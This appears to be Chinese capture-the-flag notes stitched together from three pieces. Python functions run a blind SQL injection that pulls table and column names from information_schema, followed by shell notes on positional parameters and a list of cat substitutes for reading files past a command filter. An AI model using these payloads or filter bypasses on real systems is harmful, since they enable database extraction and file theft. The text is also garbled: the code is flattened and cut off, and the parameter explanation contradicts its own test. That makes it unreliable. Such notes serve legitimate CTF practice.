defTBname(): global host flag='' for i inrange(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: #--表名 payload = "' %26%26 if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid) res = requests.get(host + payload)
defCLname(): global host flag='' for i inrange(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: #--列名 payload = "' %26%26 if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid) res = requests.get(host + payload)
echo "参数1:" $1 echo "参数2:" $2 echo "参数3:" $3 echo "参数4:" $4 echo "参数5:" $5 echo "参数6:" $6 echo "参数7:" $7 echo "参数8:" $8 echo "参数9:" $9 echo "参数10:" $10 #测试 ./test.sh a b c d c d e f g h
结果:
$8、$9因为没有传递参数,返回的结果为空。
$10被解析成了$1和0,所以结果会是a0,若想获取第10个变量使用${10}。
读取内容
列出目录
1
tee #ls -l| tee 1.txt
tee命令通常的用法是将一个命令的输出保存到文件中,同时在终端上显示输出内容。
读取文件
cat被禁用,使用下列命令
1 2 3 4 5 6 7 8 9
cat # 由第一行开始显示内容,并将所有内容输出 tac # 从最后一行倒序显示内容,并将所有内容输出 more # 根据窗口大小,一页一页的现实文件内容 less # 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head # 只显示头几行 tail # 只显示最后几行 nl # 类似于cat -n,显示时输出行号 tailf # 类似于tail -f sort # 读文件